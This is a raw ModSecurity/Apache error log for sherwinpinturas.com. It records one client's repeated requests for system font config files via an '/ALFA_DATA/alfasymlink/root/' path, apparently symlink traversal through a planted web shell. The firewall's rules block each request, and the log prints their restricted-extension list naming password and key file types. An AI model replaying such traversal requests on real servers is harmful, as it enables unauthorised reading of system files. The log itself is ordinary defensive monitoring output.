[Sun Oct 25 14:29:40.618869 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52876] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/57-dejavu-sans.conf"] [unique_id "at5KlIptOg7YDpX4xSOWvAAAABA"]
[Sun Oct 25 14:29:40.619244 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52876] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/57-dejavu-sans.conf"] [unique_id "at5KlIptOg7YDpX4xSOWvAAAABA"]
[Sun Oct 25 14:29:40.619510 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52876] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/57-dejavu-sans.conf"] [unique_id "at5KlIptOg7YDpX4xSOWvAAAABA"]
[Sun Oct 25 14:29:40.625817 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:52873] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/51-local.conf"] [unique_id "at5KlKi7oKzIlJx03ipNXgAAAAE"]
[Sun Oct 25 14:29:40.626134 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:52873] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/51-local.conf"] [unique_id "at5KlKi7oKzIlJx03ipNXgAAAAE"]
[Sun Oct 25 14:29:40.626406 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:52873] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/51-local.conf"] [unique_id "at5KlKi7oKzIlJx03ipNXgAAAAE"]
[Sun Oct 25 14:29:40.710764 2026] [security2:error] [pid 2880751:tid 2880751] [client 76.135.135.39:52870] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/50-user.conf"] [unique_id "at5KlItGhKGouuv1pXBVowAAAAY"]
[Sun Oct 25 14:29:40.711062 2026] [security2:error] [pid 2880751:tid 2880751] [client 76.135.135.39:52870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/50-user.conf"] [unique_id "at5KlItGhKGouuv1pXBVowAAAAY"]
[Sun Oct 25 14:29:40.711303 2026] [security2:error] [pid 2880751:tid 2880751] [client 76.135.135.39:52870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/50-user.conf"] [unique_id "at5KlItGhKGouuv1pXBVowAAAAY"]
[Sun Oct 25 14:29:40.713340 2026] [security2:error] [pid 2880751:tid 2880751] [client 76.135.135.39:52870] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/50-user.conf"] [unique_id "at5KlItGhKGouuv1pXBVowAAAAY"]
[Sun Oct 25 14:29:40.713361 2026] [security2:error] [pid 2880751:tid 2880751] [client 76.135.135.39:52870] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/50-user.conf"] [unique_id "at5KlItGhKGouuv1pXBVowAAAAY"]
[Sun Oct 25 14:29:40.712561 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52920] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/59-liberation-mono.conf"] [unique_id "at5KlL6D6j04LiS6yScWPQAAAAI"]
[Sun Oct 25 14:29:40.714155 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52920] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/59-liberation-mono.conf"] [unique_id "at5KlL6D6j04LiS6yScWPQAAAAI"]
[Sun Oct 25 14:29:40.714376 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52920] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/59-liberation-mono.conf"] [unique_id "at5KlL6D6j04LiS6yScWPQAAAAI"]
[Sun Oct 25 14:29:40.718837 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52921] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/59-liberation-sans.conf"] [unique_id "at5KlCEQblycZeXKbm74mgAAAAU"]
[Sun Oct 25 14:29:40.719111 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52921] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/59-liberation-sans.conf"] [unique_id "at5KlCEQblycZeXKbm74mgAAAAU"]
[Sun Oct 25 14:29:40.719679 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52921] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/59-liberation-sans.conf"] [unique_id "at5KlCEQblycZeXKbm74mgAAAAU"]
[Sun Oct 25 14:29:40.721056 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52922] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/59-liberation-serif.conf"] [unique_id "at5KlJKSFHHoiviJa5dqkAAAAAo"]
[Sun Oct 25 14:29:40.721253 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52922] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/59-liberation-serif.conf"] [unique_id "at5KlJKSFHHoiviJa5dqkAAAAAo"]
[Sun Oct 25 14:29:40.721508 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52922] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/59-liberation-serif.conf"] [unique_id "at5KlJKSFHHoiviJa5dqkAAAAAo"]
[Sun Oct 25 14:29:40.793415 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:52966] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/60-generic.conf"] [unique_id "at5KlLFCIv3LB15s-_e9igAAAAM"]
[Sun Oct 25 14:29:40.793763 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:52966] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/60-generic.conf"] [unique_id "at5KlLFCIv3LB15s-_e9igAAAAM"]
[Sun Oct 25 14:29:40.794097 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:52966] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/60-generic.conf"] [unique_id "at5KlLFCIv3LB15s-_e9igAAAAM"]
[Sun Oct 25 14:29:40.833683 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:52970] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/60-latin.conf"] [unique_id "at5KlNId4uiAK8m2gJn9KAAAAAQ"]
[Sun Oct 25 14:29:40.834304 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:52970] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/60-latin.conf"] [unique_id "at5KlNId4uiAK8m2gJn9KAAAAAQ"]
[Sun Oct 25 14:29:40.834759 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:52970] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/60-latin.conf"] [unique_id "at5KlNId4uiAK8m2gJn9KAAAAAQ"]
[Sun Oct 25 14:29:40.839131 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52975] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-fallback-backwards.conf"] [unique_id "at5KlLmAKu18kw3DYL-POQAAAA8"]
[Sun Oct 25 14:29:40.839521 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52975] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-fallback-backwards.conf"] [unique_id "at5KlLmAKu18kw3DYL-POQAAAA8"]
[Sun Oct 25 14:29:40.839858 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52975] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-fallback-backwards.conf"] [unique_id "at5KlLmAKu18kw3DYL-POQAAAA8"]
[Sun Oct 25 14:29:40.844424 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52973] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-bookman.conf"] [unique_id "at5KlEYY36dVli09oOhVaQAAAAw"]
[Sun Oct 25 14:29:40.844771 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52973] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-bookman.conf"] [unique_id "at5KlEYY36dVli09oOhVaQAAAAw"]
[Sun Oct 25 14:29:40.845115 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52973] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-bookman.conf"] [unique_id "at5KlEYY36dVli09oOhVaQAAAAw"]
